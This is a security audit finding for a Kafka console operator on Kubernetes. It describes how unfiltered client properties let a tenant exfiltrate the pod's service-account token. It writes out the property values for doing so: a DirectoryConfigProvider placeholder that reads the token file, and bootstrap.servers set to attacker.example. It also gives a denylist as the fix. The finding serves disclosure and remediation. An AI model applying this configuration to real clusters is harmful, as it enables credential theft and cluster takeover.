Unfiltered Kafka client properties → SA-token exfiltration via config.providers
Location: operator/src/main/java/com/github/streamshub/console/dependents/support/ConfigSupport.java:63 → api/src/main/java/com/github/streamshub/console/api/ClientFactory.java:571
Attacker: C — any K8s tenant with Console-CR create in one namespace
What it is. spec.kafkaClusters[].properties.values[] (and adminProperties/consumerProperties/producerProperties) is a free-form key/value list. ConfigSupport.setConfigVars does target.put(name, value) with no key filter; downstream ClientFactory.buildConfig copies clientProperties and config.getProperties() verbatim into the AdminClient config map. Nothing on either side blocks sasl., ssl., security., bootstrap.servers, or config.providers.
Why it's a security flaw. kafka-clients 4.3.1 blocks the JNDI/LDAP JAAS modules, but it does not block config.providers. Setting config.providers=directory, config.providers.directory.class=org.apache.kafka.common.config.provider.DirectoryConfigProvider, sasl.jaas.config=... username="${directory:/var/run/secrets/kubernetes.io/serviceaccount:token}" ... and bootstrap.servers=attacker.example:9092 makes the console-api pod resolve the placeholder to its own SA token and send it in the SASL handshake to an attacker-controlled broker — no JAAS bypass required. That token carries the same ClusterRole as f001. The primitive also chains with f006 (JAVATOOLOPTIONS clears disallowed.login.modules) to reach JNDI RCE. It is subsumed by f001 for attacker C but is an independent code path that survives an image allowlist.
Remediation. patches/f003.patch adds a FORBIDDENPREFIXES = {"sasl.", "ssl.", "security.", "bootstrap.servers", "config.providers"} denylist (mirroring Strimzi's KafkaConnectSpec forbidden-config pattern) and enforces it in both ConfigSupport.setConfigVars/copyData and in ClientFactory.buildConfig for defence in depth on non-operator deployments.